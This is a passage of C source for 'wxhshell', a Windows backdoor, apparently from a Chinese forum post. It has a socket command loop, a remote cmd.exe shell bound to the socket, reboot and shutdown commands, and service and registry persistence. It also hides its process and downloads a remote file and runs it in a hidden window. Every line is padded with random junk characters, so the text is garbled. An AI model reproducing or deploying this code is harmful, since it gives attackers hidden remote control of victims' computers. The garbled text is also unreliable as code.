      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K-,8~8[  
    break; IHStN,QD  
  } rBrJTF:.  
  // 安装 QTbv3#  
  case 'i': { q<>aZ|r  
    if(Install()) h+d3JM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WJF#+)P:Y  
    else k+`e0Jago  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp\s Jc`  
    break; Y/Q/4+  
    } WbH#@]+DN  
  // 卸载 #b5V/)K  
  case 'r': { ~E*`+kD  
    if(Uninstall()) ,{VC(/d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?h7(,39^>  
    else `&!J6)OJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &0*IN nlc?  
    break; BZ"+ ND9m_  
    } 1PnWgu  
  // 显示 wxhshell 所在路径 61=D&lb  
  case 'p': { -1<*mbb0  
    char svExeFile[MAX_PATH]; 6y}|IhX?z  
    strcpy(svExeFile,"\n\r"); J={R@}u  
      strcat(svExeFile,ExeFile); /.<2I  
        send(wsh,svExeFile,strlen(svExeFile),0); L0dj 76'M  
    break; 8}<4f|?  
    } 9~6)u=4sS"  
  // 重启 N_eZz#);  
  case 'b': { *g~\lFX,u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GMJ</xG  
    if(Boot(REBOOT)) \'.#of  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NZ=`iA8)X  
    else { P/;d|M(  
    closesocket(wsh); y;1l].L  
    ExitThread(0); 8e*1L:oB!  
    } K3On8  
    break; |A%Jx__  
    } 'v:%} qMv  
  // 关机 9e>Dqlv  
  case 'd': { LJ+Qe%|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mOE%:xq9-  
    if(Boot(SHUTDOWN)) Ed+"F{!eQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^;gwD4(hs  
    else { M8}t`q[-&  
    closesocket(wsh); TX7]$Wj  
    ExitThread(0); M->$ 'Zgh`  
    } AV:P/M^B  
    break; 5\\a49k.p  
    } R1lC_G]  
  // 获取shell mH\eJ  
  case 's': { "JJEF2e@Z  
    CmdShell(wsh); @EV*QC2l;Y  
    closesocket(wsh); QM 'Db`B  
    ExitThread(0); E0-<-w3'  
    break; :$gR >.`  
  } <C6*-j1oz  
  // 退出 I|oS`iLl$  
  case 'x': { s+l3]Hd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l\%LT{$e  
    CloseIt(wsh); Vp~c$y+  
    break; OPP^n-iPr  
    } ">D7wX,.>  
  // 离开 WjVj@oC  
  case 'q': { mf\eg`'4?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GfMCHs   
    closesocket(wsh); TqN4OkCm/  
    WSACleanup(); vk] vtjf&%  
    exit(1); z-X_O32  
    break; e ) ?~  
        } q|_t=YM@  
  } +M/1,&  
  } g&oAa;~o  
;R x Rap  
  // 提示信息 T_=iJ: Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <4m@WG  
} z6+D=<  
  } gV\{Qoj  
Yl#|+xYA5[  
  return; QqU>V0y"w(  
} xJSK"  
sN%#e+(=  
// shell模块句柄 )%T< Mw2u  
int CmdShell(SOCKET sock) M7JQw/,xs  
{ KqNbIw*sR  
STARTUPINFO si; ]1k"'XG4,  
ZeroMemory(&si,sizeof(si)); ;"N4Yflz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DbH"e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; . vJlTg  
PROCESS_INFORMATION ProcessInfo; \)' o{l&  
char cmdline[]="cmd"; +dgHl_,i  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W-UMX',0zS  
  return 0; 0/@ ^He8l  
} IVblS iFF  
-4IHs=`;I  
// 自身启动模式 /suW{8A(E  
int StartFromService(void) eKw!%97>  
{ rrL gBeQa  
typedef struct Un[ 0or  
{ U:1cbD7|3  
  DWORD ExitStatus; Gi=s|vt  
  DWORD PebBaseAddress; t6JM%  
  DWORD AffinityMask; $ /p/9 -  
  DWORD BasePriority; CfMCc:8mL  
  ULONG UniqueProcessId; rQ*Fc~^L  
  ULONG InheritedFromUniqueProcessId; 2/ES.>K!.  
}   PROCESS_BASIC_INFORMATION;  <RaM@E  
:psP|7%|  
PROCNTQSIP NtQueryInformationProcess; ?n0Z4 8%  
l1?$quM^V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b2<((H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P56B~M_  
*@1(!A  
  HANDLE             hProcess; V@C8HTg  
  PROCESS_BASIC_INFORMATION pbi; 'Jl |-RUd  
g,61'5\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iT2{3 t  
  if(NULL == hInst ) return 0; .4&pi  
^ b`wf"A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2f8\Osn>m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }\$CU N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BD.>aAi!  
Q%*987i  
  if (!NtQueryInformationProcess) return 0; d(X/N2~g  
#PJHwvr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "z6 xS;  
  if(!hProcess) return 0; |3{"ANmm'  
WNmG'hlA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N R0"yJV>  
nd4Z5=X  
  CloseHandle(hProcess); fb*h.6^y9  
*+|,rcI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t|j p]Vp  
if(hProcess==NULL) return 0; jo}yeGbU  
z?I"[M  
HMODULE hMod; +~[>Usf  
char procName[255];  Ww&r  
unsigned long cbNeeded; !+(c/ gwBh  
gx ]5)O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y`Nprwb  
<<M1:1  
  CloseHandle(hProcess); LyuA("xB#  
&`^P O $  
if(strstr(procName,"services")) return 1; // 以服务启动 FD[o94`%  
3"O&IY<  
  return 0; // 注册表启动 L}M%z9K` h  
} lh`ZEvt  
nQaryL  
// 主模块 ZR8%h<  
int StartWxhshell(LPSTR lpCmdLine) q*'-G]tH=  
{ \~BYY|UB;W  
  SOCKET wsl; 8W"Xdv{  
BOOL val=TRUE; \WPy9kRU  
  int port=0; gCL?{oVU  
  struct sockaddr_in door; S\dG>F>S  
B{ hV|2  
  if(wscfg.ws_autoins) Install(); 4o69t  
]]^r)&pox  
port=atoi(lpCmdLine); R}E$SmFg  
]]eI80u[  
if(port<=0) port=wscfg.ws_port; |QHIB?C?`  
Bag_0.H&m  
  WSADATA data; s/\<;g:u^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; me+u"G9I;  
8mM`v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &WJ;s*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m8,jVR  
  door.sin_family = AF_INET; wvcj*{7[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); > Hwf/Gf[  
  door.sin_port = htons(port); Z/e^G f#i  
nJ2910"<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cES8%UC^i  
closesocket(wsl); EL^j}P  
return 1; Ov~vK\  
} 9 K~X+N\  
&ev#C%Nu  
  if(listen(wsl,2) == INVALID_SOCKET) { CsX@u#  
closesocket(wsl); ^OrO&w|  
return 1; l[Ko>  
} u$rSM0CJ  
  Wxhshell(wsl); +#Ga} e CM  
  WSACleanup(); KSve_CBOh  
ufB9\yl{~  
return 0; 2UeK%-~W?  
Xk?Y  
} XES$V15  
qNX+!Y}y  
// 以NT服务方式启动 qoAJcr2uN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U]PsL3:  
{ RH^; M-'  
DWORD   status = 0; WiqkC#N  
  DWORD   specificError = 0xfffffff; -?L3"rxAP  
#:E^($v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x }.&?m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =6d'/D#J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zfc{}ius  
  serviceStatus.dwWin32ExitCode     = 0; T?KM}<$(O  
  serviceStatus.dwServiceSpecificExitCode = 0; },%, v2}  
  serviceStatus.dwCheckPoint       = 0; V(=3K"j  
  serviceStatus.dwWaitHint       = 0; R,+"^:}  
"\O{!Hj8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J?/NJ-F  
  if (hServiceStatusHandle==0) return; nkkUby9  
j)mi~i*U  
status = GetLastError(); ?OBB)hj  
  if (status!=NO_ERROR) IXU~& 5&J  
{ $xK(bc'{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F#Bi*YY  
    serviceStatus.dwCheckPoint       = 0; +a|u,'u  
    serviceStatus.dwWaitHint       = 0; asL!@YE  
    serviceStatus.dwWin32ExitCode     = status; >a)6GZ@  
    serviceStatus.dwServiceSpecificExitCode = specificError; F>U*Wy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0IxHB|^$  
    return; l'RuzBQr  
  } g>n1mK|  
K_}81|=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^:2>I$  
  serviceStatus.dwCheckPoint       = 0; b4CXif  
  serviceStatus.dwWaitHint       = 0; /rnP/X)T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R_duPaWc@  
} fO}Y$y\q  
P,bis7X.  
// 处理NT服务事件,比如:启动、停止 _Kv;hR>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IF kU8EK&B  
{ _/5xtupxE  
switch(fdwControl) keS%w]87  
{ Tl S 904'  
case SERVICE_CONTROL_STOP: N#8$pE  
  serviceStatus.dwWin32ExitCode = 0; +K61-Div  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /'L/O;H20  
  serviceStatus.dwCheckPoint   = 0; *]e 9/f  
  serviceStatus.dwWaitHint     = 0; `r+`vJ$  
  { ]64?S0p1c!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q@- h  
  } EoOwu-{  
  return; cpQhg-LY|  
case SERVICE_CONTROL_PAUSE: "FXT8Qxg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +.|8W!h`1  
  break; lt|UehJ F  
case SERVICE_CONTROL_CONTINUE: ePY69!pO5e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ol@LLT_m  
  break; dUP8[y  
case SERVICE_CONTROL_INTERROGATE: RQW<Sp~  
  break; YA@OA$`E  
}; 6@J)k V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $jN,] N~  
} F17nWvF  
=Cp}iM  
// 标准应用程序主函数 ZZU"Q7`^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' 4 Kf  
{ W_ubgCB  
7_]Bu<{f  
// 获取操作系统版本 ?&"!,  
OsIsNt=GetOsVer(); pd oCV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J}s)#va9R  
> 72qi*0  
  // 从命令行安装 N}7tjk   
  if(strpbrk(lpCmdLine,"iI")) Install(); #3((f[  
YojYb]y+ j  
  // 下载执行文件 S@vLh=65  
if(wscfg.ws_downexe) { B#K2?Et!t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <m+$@:cO  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5# $5ct  
} av}pT)]\  
]y<<zQ_fhY  
if(!OsIsNt) { zP#%ya :I  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^ ,yh384  
HideProc(); \bumB<w(]  
StartWxhshell(lpCmdLine); Q~G>=J9  
} @(s"5i.`)  
else nnBl:p>< k  
  if(StartFromService()) 7VKTI:5y  
  // 以服务方式启动 Oz7WtN  
  StartServiceCtrlDispatcher(DispatchTable); C]DvoJmBs  
else @G0j/@v  
  // 普通方式启动 uNG?`>4>  
  StartWxhshell(lpCmdLine); 16n8[U!  
CDgu`jj%]  
return 0; %yP*Vp,W  
}
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只看该作者 1 发表于: 2006-10-10
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